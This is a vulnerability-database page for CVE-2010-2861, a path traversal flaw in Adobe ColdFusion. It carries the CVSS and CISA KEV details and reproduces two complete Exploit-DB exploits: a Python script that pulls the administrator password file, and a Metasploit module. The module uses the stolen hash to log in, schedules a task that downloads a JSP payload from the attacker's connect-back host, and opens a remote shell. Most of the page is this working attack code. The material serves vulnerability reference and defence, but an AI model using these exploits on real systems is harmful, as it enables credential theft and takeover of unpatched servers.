Related Weaknesses
CWE-ID |
Weakness Name |
Source |
CWE-22 |
Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory. |
|
Metrics
Metrics |
Score |
Severity |
CVSS Vector |
Source |
V3.1 |
9.8 |
CRITICAL |
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Base: Exploitabilty MetricsThe Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component. Attack Vector This metric reflects the context by which vulnerability exploitation is possible. The vulnerable component is bound to the network stack and the set of possible attackers extends beyond the other options listed below, up to and including the entire Internet. Such a vulnerability is often termed “remotely exploitable” and can be thought of as an attack being exploitable at the protocol level one or more network hops away (e.g., across one or more routers). Attack Complexity This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability. Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component. Privileges Required This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability. The attacker is unauthorized prior to attack, and therefore does not require any access to settings or files of the vulnerable system to carry out an attack. User Interaction This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component. The vulnerable system can be exploited without interaction from any user. Base: Scope MetricsThe Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope. Scope Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs. An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority. Base: Impact MetricsThe Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve. Confidentiality Impact This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability. There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server. Integrity Impact This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information. There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component. Availability Impact This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability. There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable). Temporal MetricsThe Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability. Environmental MetricsThese metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.
|
[email protected] |
V2 |
7.5 |
|
AV:N/AC:L/Au:N/C:P/I:P/A:P |
[email protected] |
CISA KEV (Known Exploited Vulnerabilities)
Vulnerability name : Adobe ColdFusion Directory Traversal Vulnerability
Required action : Apply updates per vendor instructions.
Known To Be Used in Ransomware Campaigns : Known
Added : 2022-03-24 23h00 +00:00
Action is due : 2022-04-14 22h00 +00:00
Important information
This CVE is identified as vulnerable and poses an active threat, according to the Catalog of Known Exploited Vulnerabilities (CISA KEV). The CISA has listed this vulnerability as actively exploited by cybercriminals, emphasizing the importance of taking immediate action to address this flaw. It is imperative to prioritize the update and remediation of this CVE to protect systems against potential cyberattacks.
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
Exploit information
Exploit Database EDB-ID : 14641
Publication date : 2010-08-13 22h00 +00:00
Author : anonymous
EDB Verified : Yes
# Working GET request courtesy of carnal0wnage:
# http://server/CFIDE/administrator/enter.cfm?locale=../../../../../../../../../../ColdFusion8/lib/password.properties%00en
#
# LLsecurity added another admin page filename: "/CFIDE/administrator/enter.cfm"
#!/usr/bin/python
# CVE-2010-2861 - Adobe ColdFusion Unspecified Directory Traversal Vulnerability
# detailed information about the exploitation of this vulnerability:
# http://www.gnucitizen.org/blog/coldfusion-directory-traversal-faq-cve-2010-2861/
# leo 13.08.2010
import sys
import socket
import re
# in case some directories are blocked
filenames = ("/CFIDE/wizards/common/_logintowizard.cfm", "/CFIDE/administrator/archives/index.cfm", "/cfide/install.cfm", "/CFIDE/administrator/entman/index.cfm", "/CFIDE/administrator/enter.cfm")
post = """POST %s HTTP/1.1
Host: %s
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
locale=%%00%s%%00a"""
def main():
if len(sys.argv) != 4:
print "usage: %s <host> <port> <file_path>" % sys.argv[0]
print "example: %s localhost 80 ../../../../../../../lib/password.properties" % sys.argv[0]
print "if successful, the file will be printed"
return
host = sys.argv[1]
port = sys.argv[2]
path = sys.argv[3]
for f in filenames:
print "------------------------------"
print "trying", f
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, int(port)))
s.send(post % (f, host, len(path) + 14, path))
buf = ""
while 1:
buf_s = s.recv(1024)
if len(buf_s) == 0:
break
buf += buf_s
m = re.search('<title>(.*)</title>', buf, re.S)
if m != None:
title = m.groups(0)[0]
print "title from server in %s:" % f
print "------------------------------"
print m.groups(0)[0]
print "------------------------------"
if __name__ == '__main__':
main()
Exploit Database EDB-ID : 16985
Publication date : 2011-03-15 23h00 +00:00
Author : Metasploit
EDB Verified : Yes
##
# $Id: coldfusion_traversal.rb 11974 2011-03-16 01:38:16Z mc $
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = NormalRanking
include Msf::Exploit::Remote::HttpServer::HTML
include Msf::Exploit::Remote::HttpClient
def initialize(info = {})
super(update_info(info,
'Name' => 'Adobe ColdFusion - Directory Traversal',
'Description' => %q{
This module exploits a directory traversal bug in Adobe ColdFusion.
By reading the password.properties a user can login using the encrypted
password itself. This should work on version 8 and below.
},
'License' => MSF_LICENSE,
'Author' => [ 'webDEViL' ],
'Version' => '$Revision: 11974 $',
'References' =>
[
[ 'CVE', '2010-2861' ],
[ 'URL', 'http://www.procheckup.com/vulnerability_manager/vulnerabilities/pr10-07' ],
[ 'URL', 'http://www.adobe.com/support/security/bulletins/apsb10-18.html' ],
],
'Privileged' => true,
'Platform' => ['linux','windows'],
'Stance' => Msf::Exploit::Stance::Aggressive,
'Targets' =>
[
[ 'Universal',
{
'Arch' => ARCH_JAVA,
'Payload' => 'java'
}
],
],
'DisclosureDate' => 'Aug 25 2010',
'DefaultTarget' => 0))
register_options(
[
OptString.new('SHELL', [ true, "The system shell to use.", 'automatic']),
OptString.new('URL', [ true, 'Administrator Directory', '/CFIDE/administrator/' ]),
OptString.new('CBIP', [ true, 'Connect Back IP (even when not using reverse shell)', nil ]),
OptString.new('TRAV', [ false, 'Location of the password.properties file eg. ../../../../ColdFusion8/lib/password.properties%00en', nil ]),
], self.class)
end
def exploit
ip = datastore['RHOST']
url = datastore['URL']+"enter.cfm"
locale = "?locale="
trav = datastore['TRAV'] || "../../../../../../../../../../../../../../../../../../../../../../lib/password.properties%00en"
datastore['JSP'] = "wD-"+rand_text_alphanumeric(6)+".jsp"
datastore['URIPATH'] = rand_text_alphanumeric(6)
print_status("Trying to acheive Directory Traversal...")
while trav.match(/..\//im)
res = send_request_raw({
'uri' => url+locale+trav,
'method' => 'GET',
'headers' =>
{
'Connection' => "keep-alive",
'Accept-Encoding' => "zip,deflate",
},
}, -1)
if (res.nil?)
print_error("no response for #{ip}:#{rport} #{url}")
elsif (res.code == 200)
#print_error("#{res.body}")#debug
if match = res.body.match(/([0-9A-F]{40})/im);
caphash = $1
print_status("URL: #{ip}#{url}?locale=#{trav}")
print_status("Admin Hash: " + caphash)
break
else
#select(nil, nil, nil, 3)
trav=trav[3..-1]
print_status("Trav:"+trav)
end
else
''
end
end
if caphash.nil?
print_error("Could not determine location of password.properties file, Set TRAV option manually")
print_error("OR ColdFusion is not vulnerable")
return
end
keyz = Time.now.to_i.to_s+"123"
print_status("Time: "+ keyz)
loghash= OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('sha1'), keyz, caphash).unpack('H*')[0].upcase
print_status("Login Hash: "+loghash)
params = 'cfadminPassword='+loghash
params << '&requestedURL=%2FCFIDE%2Fadministrator%2Fenter.cfm%3F&'
params << 'salt='+keyz
params << '&submit=Login'
res = send_request_cgi({
'method' => 'POST',
'uri' => url,
'data' => params
})
if (res)
#print_status("Me want Cookie: "+ res.headers['Set-Cookie'])
if (res.headers['Set-Cookie'].match(/([A-Za-z0-9]{20,200})/im);)
session = $1
print_status("Cookie: #{session}")
else
print_error("Error retrieving cookie!")
end
else
print_error("No response received while logging in.")
end
print_status("Attempting to automatically detect the platform...")
##AUTO_DETECT START
path = datastore['URL'] + 'settings/mappings.cfm'
res = send_request_raw(
{
'uri' => path,
'headers' =>
{
'Cookie' => "CFAUTHORIZATION_cfadmin=#{session}"
}
}, 20)
if (not res) or (res.code != 200)
print_error("Failed: Error requesting #{path}")
return nil
end
if (res.body.match(/.*td *>(.*CFIDE )/im);)
os = $1
os.match(/<td [^>]*?>(.*) /im);
os1 =$1
os1 = os1.gsub("\t", '')
os1 = os1.gsub("\r\n", '')
if (os1 =~ /:/i) #haha ;)
print_status('OS: Windows')
datastore['SHELL'] = 'cmd.exe'
os1=os1+"\\"
else #(os1 =~ /\//i)
print_status('OS: Linux')
datastore['SHELL'] = '/bin/sh'
os1=os1+"/"
end
print_status("Web Directory:"+os1)
end
##AUTO_DETECT END
res = send_request_raw(
{
'uri' => "/CFIDE/administrator/scheduler/scheduleedit.cfm?submit=Schedule+New+Task",
'method' => 'GET',
'headers' =>
{
'Cookie' => "CFAUTHORIZATION_cfadmin=#{session}",
}
}, 25)
if (res.body.match(/<input name="StartTimeOnce".*?value="(.*?)">/im);)
start_time = $1
end
if (res.body.match(/<input name="Start_Date".*?value="(.*?)" id="Start_Date">/im);)
start_date = $1
end
#else FAIL!
comb = start_date + start_time
fmt = "%b %d, %Y%I:%M %p"
comb = ((DateTime.strptime(comb,fmt)).advance :minutes =>-19)
t = comb.strftime("%b %d, %Y")
t1 = comb.strftime("%I:%M %p")
#t=(Time.now).strftime("%b %d, %Y") #can't use local time
#t1=(Time.now + 5).strftime("%I:%M:%S %p")
params = 'TaskName=wD-'+rand_text_alphanumeric(6)
params << "&Start_Date=#{t}" #Mar+12%2C+2011
params << '&End_Date=&ScheduleType=Once'
params << "&StartTimeOnce=#{t1}" #6%3A40+PM
params << ' &Interval=Daily&StartTimeDWM=&customInterval_hour=0&customInterval_min=0&customInterval_sec=0&CustomStartTime=&CustomEndTime=&Operation=HTTPRequest'
params << '&ScheduledURL=http%3A%2F%2F'+datastore['CBIP']+":"+datastore['SRVPORT']+"/"+datastore['URIPATH']
params << '&Username=&Password=&Request_Time_out=&proxy_server=&http_proxy_port=&publish=1'
params << '&publish_file='+os1+datastore['JSP']
params << '&adminsubmit=Submit&taskNameOrig='
res = send_request_raw(
{
'uri' => "/CFIDE/administrator/scheduler/scheduleedit.cfm",
'method' => 'POST',
'data' => params,
'headers' =>
{
'Content-Type' => 'application/x-www-form-urlencoded',
'Content-Length' => params.length,
'Cookie' => "CFAUTHORIZATION_cfadmin=#{session}",
}
}, 25)
#print_error("#{res.body}")
super
end
def on_request_uri(cli, request)
p = regenerate_payload(cli)
#print_status("SHELL set to #{datastore['SHELL']}")
#print_status((p.encoded).to_s)
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")
# Transmit the response to the client
send_response(cli, p.encoded, { 'Content-Type' => 'text/html' })
res = send_request_raw(
{
'uri' => "/CFIDE/"+datastore['JSP'],
'method' => 'GET',
}, 25)
# Handle the payload
handler(cli)
end
end
Products Mentioned
Configuraton 0
Adobe>>Coldfusion >> Version To (including) 9.0.1
References